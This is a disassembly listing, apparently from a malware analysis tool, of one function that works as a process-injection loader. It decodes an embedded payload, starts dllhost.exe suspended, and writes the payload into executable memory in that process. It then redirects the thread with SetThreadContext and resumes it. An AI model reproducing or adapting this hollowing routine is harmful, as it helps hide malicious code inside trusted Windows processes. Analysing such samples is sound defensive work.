Function at 0x1000019a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x5e0]
mov qword [rbp - 0x590], rbx
mov qword [rbp - 0x568], 0
mov qword [rbp - 0x578], 0
mov qword [rbp - 0x588], 0
nop
call fcn.100001770
test al, al
je 0x1000019f6
jmp 0x1000019e0
call fcn.100001800
test al, al
je 0x1000019f6
jmp 0x1000019eb
call fcn.1000018f0
test al, al
je 0x1000019f6
jmp 0x100001a2c
call fcn.10000bd30
mov rbx, rax
lea r8, str._Condicoes_nao_atendidas._Abortando_execucao.
mov rdx, rbx
mov ecx, 0
call fcn.10000bf80
call fcn.100008130
mov rcx, rbx
call fcn.10000beb0
call fcn.100008130
jmp 0x100001f3f
mov dword [rbp - 0x570], 0x195ff
call fcn.10000bd30
mov rbx, rax
lea r8, [0x10002f140]
mov rdx, rbx
mov ecx, 0
call fcn.10000bf80
call fcn.100008130
mov r8d, dword [rbp - 0x570]
mov rdx, rbx
mov ecx, 0
call fcn.10000c290
call fcn.100008130
mov rcx, rbx
call fcn.10000beb0
call fcn.100008130
mov eax, dword [rbp - 0x570]
mov qword [rbp - 0x580], rax
lea rdx, [0x10002f270]
lea r9, [rbp - 0x580]
lea rcx, [rbp - 0x578]
mov r8, 1
call fcn.100006e30
mov eax, dword [rbp - 0x570]
lea ebx, [eax - 1]
mov dword [rbp - 0x56c], 0xffffffff
nop
mov eax, dword [rbp - 0x56c]
lea eax, [eax + 1]
mov dword [rbp - 0x56c], eax
mov eax, dword [rbp - 0x56c]
lea rdx, [0x100014140]
movzx ecx, byte [rdx + rax]
call fcn.100001750
mov rdx, qword [rbp - 0x578]
mov ecx, dword [rbp - 0x56c]
mov byte [rdx + rcx], al
cmp ebx, dword [rbp - 0x56c]
jbe 0x100001b00
jmp 0x100001ac0
lea rcx, [rbp - 0x568]
lea rdx, str.C:WindowsSystem32dllhost.exe
call fcn.100004ba0
call fcn.10000bd30
mov rbx, rax
lea r8, str._vLaunching:
mov rdx, rbx
mov ecx, 0
call fcn.10000bf80
call fcn.100008130
mov r8, qword [rbp - 0x568]
mov rdx, rbx
mov ecx, 0
call fcn.10000c080
call fcn.100008130
mov rcx, rbx
call fcn.10000beb0
call fcn.100008130
lea rcx, [rbp - 0x80]
mov r8d, 0
mov rdx, 0x68
call fcn.100002300
mov dword [rbp - 0x80], 0x68
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rax, [rbp - 0x18]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov rdx, qword [rbp - 0x568]
test rdx, rdx
jne 0x100001bbe
lea rdx, [0x100039460]
mov r9, 0
mov r8, 0
mov rcx, 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x100001be1
jmp 0x100001eb3
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rbp - 0x570]
mov rcx, qword [rbp - 0x18]
mov r9d, 0x1000
mov rdx, 0
call sub.kernel32.dll_VirtualAllocEx
mov qword [rbp - 0x558], rax
cmp qword [rbp - 0x558], 0
je 0x100001c19
jmp 0x100001c78
call fcn.10000bd30
mov rbx, rax
lea r8, [0x10002f1a0]
mov rdx, rbx
mov ecx, 0
call fcn.10000bf80
call fcn.100008130
call sub.kernel32.dll_GetLastError
mov edx, eax
lea rcx, [rbp - 0x588]
call fcn.100012830
mov r8, qword [rbp - 0x588]
mov rdx, rbx
mov ecx, 0
call fcn.10000c080
call fcn.100008130
mov rcx, rbx
call fcn.10000beb0
call fcn.100008130
jmp 0x100001f3f
lea rax, [rbp - 0x560]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp - 0x570]
mov r8, qword [rbp - 0x578]
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x558]
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x100001ca8
jmp 0x100001d08
call fcn.10000bd30
mov rbx, rax
lea r8, str.eWriteProcessMemory_failed:
mov rdx, rbx
mov ecx, 0
call fcn.10000bf80
call fcn.100008130
call sub.kernel32.dll_GetLastError
mov edx, eax
lea rcx, [rbp - 0x588]
call fcn.100012830
mov r8, qword [rbp - 0x588]
mov rdx, rbx
mov ecx, 0
call fcn.10000c080
call fcn.100008130
mov rcx, rbx
call fcn.10000beb0
call fcn.100008130
jmp 0x100001f3f
mov dword [rbp - 0x520], 0x10000b
mov rcx, qword [rbp - 0x10]
lea rdx, [rbp - 0x550]
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x100001d28
jmp 0x100001d88
call fcn.10000bd30
mov rbx, rax
lea r8, [0x10002f1e0]
mov rdx, rbx
mov ecx, 0
call fcn.10000bf80
call fcn.100008130
call sub.kernel32.dll_GetLastError
mov edx, eax
lea rcx, [rbp - 0x588]
call fcn.100012830
mov r8, qword [rbp - 0x588]
mov rdx, rbx
mov ecx, 0
call fcn.10000c080
call fcn.100008130
mov rcx, rbx
call fcn.10000beb0
call fcn.100008130
jmp 0x100001f3f
mov rax, qword [rbp - 0x558]
mov qword [rbp - 0x458], rax
mov rcx, qword [rbp - 0x10]
lea rdx, [rbp - 0x550]
call sub.kernel32.dll_SetThreadContext
test eax, eax
je 0x100001dac
jmp 0x100001e0c
call fcn.10000bd30
mov rbx, rax
lea r8, [0x10002f200]
mov rdx, rbx
mov ecx, 0
call fcn.10000bf80
call fcn.100008130
call sub.kernel32.dll_GetLastError
mov edx, eax
lea rcx, [rbp - 0x588]
call fcn.100012830
mov r8, qword [rbp - 0x588]
mov rdx, rbx
mov ecx, 0
call fcn.10000c080
call fcn.100008130
mov rcx, rbx
call fcn.10000beb0
call fcn.100008130
jmp 0x100001f3f
mov rcx, qword [rbp - 0x10]
call sub.kernel32.dll_ResumeThread
cmp eax, 0xffffffff
je 0x100001e1e
jmp 0x100001e80
call fcn.10000bd30
mov rbx, rax
lea r8, [0x10002f220]
mov rdx, rbx
mov ecx, 0
call fcn.10000bf80
call fcn.100008130
call sub.kernel32.dll_GetLastError
mov edx, eax
lea rcx, [rbp - 0x588]
call fcn.100012830
mov r8, qword [rbp - 0x588]
mov rdx, rbx
mov ecx, 0
call fcn.10000c080
call fcn.100008130
mov rcx, rbx
call fcn.10000beb0
call fcn.100008130
jmp 0x100001f3f
call fcn.10000bd30
mov rbx, rax
lea r8, str._vabracadabra
mov rdx, rbx
mov ecx, 0
call fcn.10000bf80
call fcn.100008130
mov rcx, rbx
call fcn.10000beb0
call fcn.100008130
jmp 0x100001f3f
call fcn.10000bd30
mov rbx, rax
lea r8, [0x10002f248]
mov rdx, rbx
mov ecx, 0
call fcn.10000bf80
call fcn.100008130
mov r8, qword [rbp - 0x568]
mov rdx, rbx
mov ecx, 0
call fcn.10000c080
call fcn.100008130
lea r8, [0x10002f260]
mov rdx, rbx
mov ecx, 0
call fcn.10000bf80
call fcn.100008130
call sub.kernel32.dll_GetLastError
mov edx, eax
lea rcx, [rbp - 0x588]
call fcn.100012830
mov r8, qword [rbp - 0x588]
mov rdx, rbx
mov ecx, 0
call fcn.10000c080
call fcn.100008130
mov rcx, rbx
call fcn.10000beb0
call fcn.100008130
nop
mov rcx, rbp
call fcn.100001960
mov rbx, qword [rbp - 0x590]
lea rsp, [rbp]
pop rbp
ret